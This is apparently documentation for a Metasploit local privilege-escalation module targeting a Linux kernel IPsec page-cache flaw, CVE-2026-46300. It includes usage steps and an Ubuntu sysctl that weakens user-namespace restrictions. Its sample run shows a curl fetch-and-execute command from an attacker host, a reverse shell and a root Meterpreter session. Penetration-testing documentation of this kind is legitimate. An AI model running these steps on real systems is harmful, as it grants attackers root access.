## Vulnerable Application

CVE-2026-46300 (Fragnesia) is a page-cache replacement vulnerability in the Linux kernel's XFRM
(IPsec) subsystem. When a sender splices a readable file into a TCP connection that has the
`espintcp` upper-layer protocol (ULP) applied after data has already arrived in the socket buffer,
the AES-GCM keystream produced during ESP decryption is XOR'd against the file's in-memory page
cache rather than the received ciphertext. Because the modified pages are never marked dirty, the
on-disk binary is unchanged, but the corrupted in-memory version is immediately visible
system-wide.

- *Note*: When testing on Ubuntu machine, you need to enable unprivileged user namespaces:
```
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
```

## Verification Steps

1. Obtain a shell or meterpreter session on an affected Linux host.
2. `use exploit/linux/local/cve_2026_46300_fragnesia`
3. `set SESSION <session>`
4. `set LHOST <lhost>`
5. `run`

## Options

### WRITABLE_DIR

Directory used to stage the compiled exploit binary and the Metasploit payload on the target.

### SUID_BINARY_PATH

Path to a suid-root binary on the target that will be temporarily overwritten in the page cache.

## Scenarios

```
msf exploit(linux/local/cve_2026_46300_fragnesia) > run verbose=true 
[*] Command to run on remote host: curl -so ./FumzMdNV http://10.38.37.36:8080/iTssfUXvx38egl6Sl6WYIA;chmod +x ./FumzMdNV;./FumzMdNV&
[*] Fetch handler listening on 10.38.37.36:8080
[*] HTTP server started
[*] Adding resource /iTssfUXvx38egl6Sl6WYIA
[*] Started reverse TCP handler on 10.38.37.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. FFF
[*] Detected architecture: x64
[*] Live compiling exploit on system...
[*] Max line length is 65537
[*] Writing 21022 bytes in 2 chunks of 59777 bytes (octal-encoded), using printf
[*] Next chunk is 17045 bytes
[*] Client 10.11.58.111 requested /iTssfUXvx38egl6Sl6WYIA
[*] Sending payload to 10.11.58.111 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 10.11.58.111
[+] Deleted /tmp/.cyvgxvejetc
[*] Meterpreter session 3 opened (10.38.37.36:4444 -> 10.11.58.111:32949) at 2026-05-14 19:20:27 +0200

meterpreter > getuid
Server username: root
```


